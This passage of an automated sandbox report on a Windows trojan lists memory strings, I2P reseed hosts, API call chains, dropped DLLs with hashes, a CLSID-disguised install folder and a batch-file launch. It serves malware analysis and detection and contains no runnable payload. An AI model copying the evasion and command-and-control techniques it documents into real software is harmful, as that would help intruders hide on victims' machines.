Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989239979.0000029864957000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.000002986492C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989048987.000002986495A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 00000028.00000002.2529607150.0000029864EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf3
Source: svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srfer
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srfLive
Source: svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528121324.0000029864937000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 00000028.00000002.2527366735.00000298640B3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2529607150.0000029864EB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ
Source: svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.
Source: svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
Source: svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000028.00000003.1989355515.0000029864927000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM
Source: svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	String found in binary or memory: https://netdb.i2p2.no/
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	String found in binary or memory: https://reseed-fr.i2pd.xyz/
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	String found in binary or memory: https://reseed-pl.i2pd.xyz/
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	String found in binary or memory: https://reseed.diva.exchange/
Source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	String found in binary or memory: https://reseed.i2p-projekt.de/
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	String found in binary or memory: https://reseed.i2pgit.org/
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	String found in binary or memory: https://reseed.memcpy.io/
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	String found in binary or memory: https://reseed.onion.im/
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	String found in binary or memory: https://reseed.stormycloud.org/
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.stormycloud.org/J
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.stormycloud.org/W
Source: main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.stormycloud.org/c
Source: main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.stormycloud.org/o
Source: main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.stormycloud.org/r
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	String found in binary or memory: https://reseed2.i2p.net/
Source: svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx
Source: svchost.exe, 00000000.00000003.1364826173.000001A7F5030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virt
Source: svchost.exe, 00000000.00000003.1364826173.000001A7F5030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.
Source: svchost.exe, 00000000.00000003.1364769439.000001A7F5041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000000.00000003.1364826173.000001A7F5030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000000.00000003.1364826173.000001A7F5030000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000000.00000003.1364623479.000001A7F505D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000000.00000002.1365624998.000001A7F502B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000000.00000002.1365663996.000001A7F5034000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364826173.000001A7F5030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtuxA
Source: svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000000.00000003.1364826173.000001A7F5030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak0
Source: svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	String found in binary or memory: https://www2.mk16.de/

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe

Code function: 13_2_00007FF7E3CE929A inet_addr,ntohl,

13_2_00007FF7E3CE929A

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe

Code function: 13_2_00007FF7E3CE292E strlen,strcat,strlen,strlen,strlen,strcat,strlen,strlen,strlen,strcat,LogonUserA,GetLastError,CreateProcessAsUserA,GetLastError,CloseHandle,CreateProcessA,GetLastError,

13_2_00007FF7E3CE292E

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

File deleted: C:\Windows\Temp\miECvZvT

Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_032C5B4A	6_2_032C5B4A
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_032C4B56	6_2_032C4B56
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_032D53FA	6_2_032D53FA
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_032DD132	6_2_032DD132
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_032D702E	6_2_032D702E
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_032C60DA	6_2_032C60DA
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_032C7F3A	6_2_032C7F3A
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_032C9D02	6_2_032C9D02
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_032CCDB2	6_2_032CCDB2
Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe	Code function: 13_2_00007FF7E3CEE4E0	13_2_00007FF7E3CEE4E0
Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe	Code function: 13_2_00007FF7E3CEDE8A	13_2_00007FF7E3CEDE8A
Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe	Code function: 13_2_00007FF7E3CFB540	13_2_00007FF7E3CFB540
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FF7AABDC440	29_2_00007FF7AABDC440
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FF7AABE1AB0	29_2_00007FF7AABE1AB0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227206B8	29_2_00007FFB227206B8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB22710880	29_2_00007FFB22710880
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227537C8	29_2_00007FFB227537C8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227424D0	29_2_00007FFB227424D0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB2276EF60	29_2_00007FFB2276EF60
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB2277F6D8	29_2_00007FFB2277F6D8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB2277F678	29_2_00007FFB2277F678
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23ABCB10	29_2_00007FFB23ABCB10
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23ADEAA0	29_2_00007FFB23ADEAA0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23AEE6D8	29_2_00007FFB23AEE6D8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23AEE678	29_2_00007FFB23AEE678
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23B10480	29_2_00007FFB23B10480
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23B08FFC	29_2_00007FFB23B08FFC
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23B08F0E	29_2_00007FFB23B08F0E
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23B08DC6	29_2_00007FFB23B08DC6
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23B20578	29_2_00007FFB23B20578
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23B08CDB	29_2_00007FFB23B08CDB

Source: Joe Sandbox View	Dropped File: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll A62BDF318386AAAB93F1D25144CFBDC1A1125AAAD867EFC4E49FE79590181EBF
Source: Joe Sandbox View	Dropped File: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll 51C131081921626D22FAF44977D5E4DCFE00E5D6CDDEDA877A82F13631BE7C2E
Source: Joe Sandbox View	Dropped File: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll ADFE373F98CABF338577963DCEA279103C19FF04B1742DC748B9477DC0156BB4

Source: C:\Windows\System32\icacls.exe

Process token adjusted: Security

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe	Code function: String function: 00007FF7E3CE14E2 appears 295 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FFB2273C852 appears 526 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FFB22769DC2 appears 405 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FFB227040D2 appears 473 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FFB23AB2072 appears 356 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF7AABD2EF2 appears 314 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FFB23B077A2 appears 388 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FFB23AD1352 appears 398 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 440 -p 7988 -ip 7988

Source: nHqxqt5L.29.dr	Static PE information: Number of sections : 11 > 10
Source: miECvZvT.29.dr	Static PE information: Number of sections : 11 > 10
Source: cnccli.dll.29.dr	Static PE information: Number of sections : 11 > 10
Source: evtsrv.dll.29.dr	Static PE information: Number of sections : 11 > 10
Source: libi2p.dll.29.dr	Static PE information: Number of sections : 11 > 10
Source: VPIOcgIO.29.dr	Static PE information: Number of sections : 11 > 10
Source: UEptccWa.29.dr	Static PE information: Number of sections : 11 > 10
Source: TLbqzKsW.29.dr	Static PE information: Number of sections : 11 > 10
Source: dwlmgr.dll.29.dr	Static PE information: Number of sections : 11 > 10
Source: prgmgr.dll.29.dr	Static PE information: Number of sections : 11 > 10
Source: termsrv32.dll.29.dr	Static PE information: Number of sections : 11 > 10
Source: x8eec9dQ.29.dr	Static PE information: Number of sections : 11 > 10
Source: file.exe	Static PE information: Number of sections : 11 > 10
Source: e5xaOqBz.29.dr	Static PE information: Number of sections : 11 > 10
Source: rdpctl.dll.29.dr	Static PE information: Number of sections : 11 > 10
Source: fQQIqQM0.29.dr	Static PE information: Number of sections : 11 > 10
Source: samctl.dll.29.dr	Static PE information: Number of sections : 11 > 10

Source: file.exe, 00000006.00000002.1277094021.0000000002C3A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCOMCTL32.DLL.MUIj% vs file.exe
Source: file.exe, 00000006.00000000.1272581856.0000000000E1C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameLAPLINK.EXE: vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameLAPLINK.EXE: vs file.exe

Source: classification engine

Classification label: mal100.troj.evad.winEXE@57/74@1/52

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe

Code function: 13_2_00007FF7E3CE855D CreateToolhelp32Snapshot,Process32First,Process32Next,GetLastError,GetLastError,GetLastError,OpenProcess,QueryFullProcessImageNameW,GetLastError,CloseHandle,GetLastError,CloseHandle,

13_2_00007FF7E3CE855D

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe

Code function: 13_2_00007FF7E3CE1A19 FindResourceA,LoadResource,GetLastError,GetLastError,GetLastError,GetLastError,

13_2_00007FF7E3CE1A19

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 29_2_00007FF7AABD1DBC strcmp,strcmp,StartServiceCtrlDispatcherA,_read,GetLastError,

29_2_00007FF7AABD1DBC

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 29_2_00007FF7AABD1DBC strcmp,strcmp,StartServiceCtrlDispatcherA,_read,GetLastError,

29_2_00007FF7AABD1DBC

Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe

File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8024:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:3088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7952:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \BaseNamedObjects\Local\WERReportingForProcess7988
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7744:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8068:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5364:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user~1\AppData\Local\Temp\sobuolvnbi3uboa4e.bat

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /k "C:\Users\user~1\AppData\Local\Temp\sobuolvnbi3uboa4e.bat"

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\System32\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe

File read: C:\Users\user\AppData\Local\Temp\wfpblk.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address.ipp
